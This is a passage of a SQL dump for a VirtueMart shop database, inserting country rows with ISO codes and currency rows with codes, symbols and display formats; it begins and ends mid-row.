1, 'Israel', 'ISR', 'IL'), (105, 1, 'Italy', 'ITA', 'IT'), (106, 1, 'Jamaica', 'JAM', 'JM'), (107, 1, 'Japan', 'JPN', 'JP'), (108, 1, 'Jordan', 'JOR', 'JO'), (109, 1, 'Kazakhstan', 'KAZ', 'KZ'), (110, 1, 'Kenya', 'KEN', 'KE'), (111, 1, 'Kiribati', 'KIR', 'KI'), (112, 1, 'Korea, Democratic People''s Republic of', 'PRK', 'KP'), (113, 1, 'Korea, Republic of', 'KOR', 'KR'), (114, 1, 'Kuwait', 'KWT', 'KW'), (115, 1, 'Kyrgyzstan', 'KGZ', 'KG'), (116, 1, 'Lao People''s Democratic Republic', 'LAO', 'LA'), (117, 1, 'Latvia', 'LVA', 'LV'), (118, 1, 'Lebanon', 'LBN', 'LB'), (119, 1, 'Lesotho', 'LSO', 'LS'), (120, 1, 'Liberia', 'LBR', 'LR'), (121, 1, 'Libya', 'LBY', 'LY'), (122, 1, 'Liechtenstein', 'LIE', 'LI'), (123, 1, 'Lithuania', 'LTU', 'LT'), (124, 1, 'Luxembourg', 'LUX', 'LU'), (125, 1, 'Macau', 'MAC', 'MO'), (126, 1, 'Macedonia, The Former Yugoslav Republic of', 'MKD', 'MK'), (127, 1, 'Madagascar', 'MDG', 'MG'), (128, 1, 'Malawi', 'MWI', 'MW'), (129, 1, 'Malaysia', 'MYS', 'MY'), (130, 1, 'Maldives', 'MDV', 'MV'), (131, 1, 'Mali', 'MLI', 'ML'), (132, 1, 'Malta', 'MLT', 'MT'), (133, 1, 'Marshall Islands', 'MHL', 'MH'), (134, 1, 'Martinique', 'MTQ', 'MQ'), (135, 1, 'Mauritania', 'MRT', 'MR'), (136, 1, 'Mauritius', 'MUS', 'MU'), (137, 1, 'Mayotte', 'MYT', 'YT'), (138, 1, 'Mexico', 'MEX', 'MX'), (139, 1, 'Micronesia, Federated States of', 'FSM', 'FM'), (140, 1, 'Moldova, Republic of', 'MDA', 'MD'), (141, 1, 'Monaco', 'MCO', 'MC'), (142, 1, 'Mongolia', 'MNG', 'MN'), (143, 1, 'Montserrat', 'MSR', 'MS'), (144, 1, 'Morocco', 'MAR', 'MA'), (145, 1, 'Mozambique', 'MOZ', 'MZ'), (146, 1, 'Myanmar', 'MMR', 'MM'), (147, 1, 'Namibia', 'NAM', 'NA'), (148, 1, 'Nauru', 'NRU', 'NR'), (149, 1, 'Nepal', 'NPL', 'NP'), (150, 1, 'Netherlands', 'NLD', 'NL'), (151, 1, 'Netherlands Antilles', 'ANT', 'AN'), (152, 1, 'New Caledonia', 'NCL', 'NC'), (153, 1, 'New Zealand', 'NZL', 'NZ'), (154, 1, 'Nicaragua', 'NIC', 'NI'), (155, 1, 'Niger', 'NER', 'NE'), (156, 1, 'Nigeria', 'NGA', 'NG'), (157, 1, 'Niue', 'NIU', 'NU'), (158, 1, 'Norfolk Island', 'NFK', 'NF'), (159, 1, 'Northern Mariana Islands', 'MNP', 'MP'), (160, 1, 'Norway', 'NOR', 'NO'), (161, 1, 'Oman', 'OMN', 'OM'), (162, 1, 'Pakistan', 'PAK', 'PK'), (163, 1, 'Palau', 'PLW', 'PW'), (164, 1, 'Panama', 'PAN', 'PA'), (165, 1, 'Papua New Guinea', 'PNG', 'PG'), (166, 1, 'Paraguay', 'PRY', 'PY'), (167, 1, 'Peru', 'PER', 'PE'), (168, 1, 'Philippines', 'PHL', 'PH'), (169, 1, 'Pitcairn', 'PCN', 'PN'), (170, 1, 'Poland', 'POL', 'PL'), (171, 1, 'Portugal', 'PRT', 'PT'), (172, 1, 'Puerto Rico', 'PRI', 'PR'), (173, 1, 'Qatar', 'QAT', 'QA'), (174, 1, 'Reunion', 'REU', 'RE'), (175, 1, 'Romania', 'ROM', 'RO'), (176, 1, 'Russian Federation', 'RUS', 'RU'), (177, 1, 'Rwanda', 'RWA', 'RW'), (178, 1, 'Saint Kitts and Nevis', 'KNA', 'KN'), (179, 1, 'Saint Lucia', 'LCA', 'LC'), (180, 1, 'Saint Vincent and the Grenadines', 'VCT', 'VC'), (181, 1, 'Samoa', 'WSM', 'WS'), (182, 1, 'San Marino', 'SMR', 'SM'), (183, 1, 'Sao Tome and Principe', 'STP', 'ST'), (184, 1, 'Saudi Arabia', 'SAU', 'SA'), (185, 1, 'Senegal', 'SEN', 'SN'), (186, 1, 'Seychelles', 'SYC', 'SC'), (187, 1, 'Sierra Leone', 'SLE', 'SL'), (188, 1, 'Singapore', 'SGP', 'SG'), (189, 1, 'Slovakia', 'SVK', 'SK'), (190, 1, 'Slovenia', 'SVN', 'SI'), (191, 1, 'Solomon Islands', 'SLB', 'SB'), (192, 1, 'Somalia', 'SOM', 'SO'), (193, 1, 'South Africa', 'ZAF', 'ZA'), (194, 1, 'South Georgia and the South Sandwich Islands', 'SGS', 'GS'), (195, 1, 'Spain', 'ESP', 'ES'), (196, 1, 'Sri Lanka', 'LKA', 'LK'), (197, 1, 'St. Helena', 'SHN', 'SH'), (198, 1, 'St. Pierre and Miquelon', 'SPM', 'PM'), (199, 1, 'Sudan', 'SDN', 'SD'), (200, 1, 'Suriname', 'SUR', 'SR'), (201, 1, 'Svalbard and Jan Mayen Islands', 'SJM', 'SJ'), (202, 1, 'Swaziland', 'SWZ', 'SZ'), (203, 1, 'Sweden', 'SWE', 'SE'), (204, 1, 'Switzerland', 'CHE', 'CH'), (205, 1, 'Syrian Arab Republic', 'SYR', 'SY'), (206, 1, 'Taiwan', 'TWN', 'TW'), (207, 1, 'Tajikistan', 'TJK', 'TJ'), (208, 1, 'Tanzania, United Republic of', 'TZA', 'TZ'), (209, 1, 'Thailand', 'THA', 'TH'), (210, 1, 'Togo', 'TGO', 'TG'), (211, 1, 'Tokelau', 'TKL', 'TK'), (212, 1, 'Tonga', 'TON', 'TO'), (213, 1, 'Trinidad and Tobago', 'TTO', 'TT'), (214, 1, 'Tunisia', 'TUN', 'TN'), (215, 1, 'Turkey', 'TUR', 'TR'), (216, 1, 'Turkmenistan', 'TKM', 'TM'), (217, 1, 'Turks and Caicos Islands', 'TCA', 'TC'), (218, 1, 'Tuvalu', 'TUV', 'TV'), (219, 1, 'Uganda', 'UGA', 'UG'), (220, 1, 'Ukraine', 'UKR', 'UA'), (221, 1, 'United Arab Emirates', 'ARE', 'AE'), (222, 1, 'United Kingdom', 'GBR', 'GB'), (223, 1, 'United States', 'USA', 'US'), (224, 1, 'United States Minor Outlying Islands', 'UMI', 'UM'), (225, 1, 'Uruguay', 'URY', 'UY'), (226, 1, 'Uzbekistan', 'UZB', 'UZ'), (227, 1, 'Vanuatu', 'VUT', 'VU'), (228, 1, 'Vatican City State (Holy See)', 'VAT', 'VA'), (229, 1, 'Venezuela', 'VEN', 'VE'), (230, 1, 'Viet Nam', 'VNM', 'VN'), (231, 1, 'Virgin Islands (British)', 'VGB', 'VG'), (232, 1, 'Virgin Islands (U.S.)', 'VIR', 'VI'), (233, 1, 'Wallis and Futuna Islands', 'WLF', 'WF'), (234, 1, 'Western Sahara', 'ESH', 'EH'), (235, 1, 'Yemen', 'YEM', 'YE'), (237, 1, 'The Democratic Republic of Congo', 'DRC', 'DC'), (238, 1, 'Zambia', 'ZMB', 'ZM'), (239, 1, 'Zimbabwe', 'ZWE', 'ZW'), (240, 1, 'East Timor', 'XET', 'XE'), (241, 1, 'Jersey', 'JEY', 'JE'), (242, 1, 'St. Barthelemy', 'XSB', 'XB'), (243, 1, 'St. Eustatius', 'XSE', 'XU'), (244, 1, 'Canary Islands', 'XCA', 'XC'), (245, 1, 'Serbia', 'SRB', 'RS'), (246, 1, 'Sint Maarten (French Antilles)', 'MAF', 'MF'), (247, 1, 'Sint Maarten (Netherlands Antilles)', 'SXM', 'SX'), (248, 1, 'Palestinian Territory, occupied','PSE','PS') ; -- -- Dumping data for table `#__virtuemart_currencies` -- INSERT INTO `#__virtuemart_currencies` (`virtuemart_currency_id`, `virtuemart_vendor_id`, `currency_name`, `currency_code_2`, `currency_code_3`, `currency_numeric_code`, `currency_exchange_rate`, `currency_symbol`, `currency_decimal_place`, `currency_decimal_symbol`, `currency_thousands`, `currency_positive_style`, `currency_negative_style`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (2, 1, 'United Arab Emirates dirham', '', 'AED', 784, 0, 'د.إ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (4, 1, 'Albanian lek', '', 'ALL', 8, 0, 'Lek', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (5, 1, 'Netherlands Antillean gulden', '', 'ANG', 532, 0, 'ƒ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (7, 1, 'Argentine peso', '', 'ARS', 32, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (9, 1, 'Australian dollar', '', 'AUD', 36, 0, '$', '2', '.', ' ', '{symbol} {number}', '{sign}{symbol} {number} ', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (10, 1, 'Aruban florin', '', 'AWG', 533, 0, 'ƒ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (11, 1, 'Barbadian dollar', '', 'BBD', 52, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (12, 1, 'Bangladeshi taka', '', 'BDT', 50, 0, '৳', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (15, 1, 'Bahraini dinar', '', 'BHD', 48, 0, 'ب.د', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (16, 1, 'Burundian franc', '', 'BIF', 108, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (17, 1, 'Bermudian dollar', '', 'BMD', 60, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (18, 1, 'Brunei dollar', '', 'BND', 96, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (19, 1, 'Bolivian boliviano', '', 'BOB', 68, 0, '$b', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (20, 1, 'Brazilian real', '', 'BRL', 986, 0, 'R$', '2', ',', '.', '{symbol} {number}', '{symbol} {sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (21, 1, 'Bahamian dollar', '', 'BSD', 44, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (22, 1, 'Bhutanese ngultrum', '', 'BTN', 64, 0, 'BTN', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (24, 1, 'Botswana pula', '', 'BWP', 72, 0, 'P', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (25, 1, 'Belize dollar', '', 'BZD', 84, 0, 'BZ$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (26, 1, 'Canadian dollar', '', 'CAD', 124, 0, '$', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (27, 1, 'Swiss franc', '', 'CHF', 756, 0, 'CHF', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (28, 1, 'Unidad de Fomento', '', 'CLF', 990, 0, 'CLF', '0', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (29, 1, 'Chilean peso', '', 'CLP', 152, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (30, 1, 'Chinese renminbi yuan', '', 'CNY', 156, 0, '元', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (31, 1, 'Colombian peso', '', 'COP', 170, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (32, 1, 'Costa Rican colón', '', 'CRC', 188, 0, '₡', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (33, 1, 'Czech koruna', '', 'CZK', 203, 0, 'Kč', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (34, 1, 'Cuban peso', '', 'CUP', 192, 0, '₱', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (35, 1, 'Cape Verdean escudo', '', 'CVE', 132, 0, '$', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (40, 1, 'Danish krone', '', 'DKK', 208, 0, 'kr', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (41, 1, 'Dominican peso', '', 'DOP', 214, 0, 'RD$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (42, 1, 'Algerian dinar', '', 'DZD', 12, 0, 'د.ج', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (44, 1, 'Egyptian pound', '', 'EGP', 818, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (46, 1, 'Ethiopian birr', '', 'ETB', 230, 0, 'ETB', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (47, 1, 'Euro', '', 'EUR', 978, 0, '€', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (49, 1, 'Fijian dollar', '', 'FJD', 242, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (50, 1, 'Falkland pound', '', 'FKP', 238, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (52, 1, 'British pound', '', 'GBP', 826, 0, '£', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (54, 1, 'Gibraltar pound', '', 'GIP', 292, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (55, 1, 'Gambian dalasi', '', 'GMD', 270, 0, 'D', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (56, 1, 'Guinean franc', '', 'GNF', 324, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (58, 1, 'Guatemalan quetzal', '', 'GTQ', 320, 0, 'Q', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (60, 1, 'Guyanese dollar', '', 'GYD', 328, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (61, 1, 'Hong Kong dollar', '', 'HKD', 344, 0, '元', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (62, 1, 'Honduran lempira', '', 'HNL', 340, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (63, 1, 'Haitian gourde', '', 'HTG', 332, 0, 'G', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (64, 1, 'Hungarian forint', '', 'HUF', 348, 0, 'Ft', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (65, 1, 'Indonesian rupiah', '', 'IDR', 360, 0, 'Rp', '0', '', '', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (67, 1, 'Israeli new sheqel', '', 'ILS', 376, 0, '₪', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (68, 1, 'Indian rupee', '', 'INR', 356, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (69, 1, 'Iraqi dinar', '', 'IQD', 368, 0, 'ع.د', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (70, 1, 'Iranian rial', '', 'IRR', 364, 0, '﷼', '2', ',', '', '{number} {symbol}', '{sign}{number}{symb0l}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (73, 1, 'Jamaican dollar', '', 'JMD', 388, 0, 'J$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (74, 1, 'Jordanian dinar', '', 'JOD', 400, 0, 'د.ا', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (75, 1, 'Japanese yen', '', 'JPY', 392, 0, '¥', '0', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (76, 1, 'Kenyan shilling', '', 'KES', 404, 0, 'Sh', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (77, 1, 'Cambodian riel', '', 'KHR', 116, 0, '៛', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (78, 1, 'Comorian franc', '', 'KMF', 174, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (79, 1, 'North Korean won', '', 'KPW', 408, 0, '₩', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (80, 1, 'South Korean won', '', 'KRW', 410, 0, '₩', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (81, 1, 'Kuwaiti dinar', '', 'KWD', 414, 0, 'د.ك', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (82, 1, 'Cayman Islands dollar', '', 'KYD', 136, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (83, 1, 'Lao kip', '', 'LAK', 418, 0, '₭', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (84, 1, 'Lebanese pound', '', 'LBP', 422, 0, '£', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (85, 1, 'Sri Lankan rupee', '', 'LKR', 144, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (86, 1, 'Liberian dollar', '', 'LRD', 430, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (87, 1, 'Lesotho loti', '', 'LSL', 426, 0, 'L', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (89, 1, 'Libyan dinar', '', 'LYD', 434, 0, 'ل.د', '3', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (90, 1, 'Moroccan dirham', '', 'MAD', 504, 0, 'د.م.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (92, 1, 'Mongolian tögrög', '', 'MNT', 496, 0, '₮', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (93, 1, 'Macanese pataca', '', 'MOP', 446, 0, 'P', '1', ',', '', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (94, 1, 'Mauritanian ouguiya', '', 'MRO', 478, 0, 'UM', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (96, 1, 'Mauritian rupee', '', 'MUR', 480, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (97, 1, 'Maldivian rufiyaa', '', 'MVR', 462, 0, 'ރ.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (98, 1, 'Malawian kwacha', '', 'MWK', 454, 0, 'MK', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (100, 1, 'Malaysian ringgit', '', 'MYR', 458, 0, 'RM', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (102, 1, 'Nigerian naira', '', 'NGN', 566, 0, '₦', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (105, 1, 'Norwegian krone', '', 'NOK', 578, 0, 'kr', '2', ',', ' ', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (106, 1, 'Nepalese rupee', '', 'NPR', 524, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (107, 1, 'New Zealand dollar', '', 'NZD', 554, 0, '$', '2', ',', '', '{number} {symbol}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (108, 1, 'Omani rial', '', 'OMR', 512, 0, '﷼', '3', '.', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (109, 1, 'Panamanian balboa', '', 'PAB', 590, 0, 'B/.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (110, 1, 'Peruvian nuevo sol', '', 'PEN', 604, 0, 'S/.', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (111, 1, 'Papua New Guinean kina', '', 'PGK', 598, 0, 'K', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (112, 1, 'Philippine peso', '', 'PHP', 608, 0, '₱', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (113, 1, 'Pakistani rupee', '', 'PKR', 586, 0, '₨', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (114, 1, 'Polish Złoty', '', 'PLN', 985, 0, 